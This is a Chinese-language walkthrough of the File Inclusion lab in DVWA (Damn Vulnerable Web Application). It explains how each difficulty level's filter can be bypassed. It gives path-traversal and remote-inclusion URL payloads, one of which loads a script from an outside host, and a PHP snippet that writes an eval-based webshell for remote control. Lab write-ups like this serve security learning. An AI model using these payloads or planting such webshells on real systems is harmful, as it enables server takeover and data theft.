DVWA_File Inclusion 檔案包含 遠端檔案包含拿webshell
MEDIUM:
$file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file );
與LOW相比,將四個敏感字串過濾掉了:"http://", "https://","../", "..\""
本地檔案包含:
Payload1(相對路徑包含):
?page=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\phpStudy\PHPTutorial\WWW\dvwa\php.ini
原理:仔細看看可以發現,"..\"並沒有被過濾掉(過濾掉的多了一個雙引號)
Payload2(相對路徑包含):
?page=..././..././..././..././..././..././..././..././..././phpStudy\PHPTutorial\WWW\dvwa\php.ini
原理:str_replace()是非常不安全的,可是雙寫繞過,比如這個payload,經過str_replace()之後變成了:
?page=../../../../../../../../../phpStudy\PHPTutorial\WWW\dvwa\php.ini ("../"都被替換成了空字元)
Payload3(絕對路徑包含):
?page=C:\phpStudy\PHPTutorial\WWW\dvwa\php.ini
原理:並沒有過濾絕對路徑啊
遠端檔案包含:
Payload:?page=htthttp://p://192.168.141.1/hack.php
原理:str_replace()可以雙寫繞過
此外,在這種情況可以通過遠端檔案包含拿webshell,比如hack.php中可以這麼寫:
<?php $f = fopen('shell.php','w'); $txt = '<?php eval($_POST[zzz])?>'; fwrite($f,$txt); fclose($f); ?>
然後菜刀一連就可以,嘿嘿嘿嘿~~~
(可惜筆者無論如何調整設定,allow_url_fopen就是打不開,我怎麼辦,我也很絕望啊)
HIGH:
核心程式碼:
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; }
程式碼解讀:fnmatch(pattern,string)類似於ereg()或preg_match(),用pattern指定的模式去匹配string。
這裡*是萬用字元,所以"file*"的意思就是必須以file開頭。
這裡看似安全,其實我們可以使用php://file協議繞過
Payload:?page=file://C:\phpStudy\PHPTutorial\WWW\dvwa
php://file用以讀取伺服器本地檔案,而且在allow_url_fopen和allow_url_include雙off的情況下依然可以使用!
由於php://file只能讀取伺服器本地檔案,所以想要實現任意命令執行,需要檔案上傳的配合,
將惡意檔案上傳到伺服器之後,使用檔案包含進行包含以執行之。
IMPOSSBILE:
核心程式碼:
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; }
可以看到,進行了白名單限制,無法攻破
鳴謝:
http://www.storysec.com/dvwa-file-inclusion.html
https://www.freebuf.com/articles/web/119150.html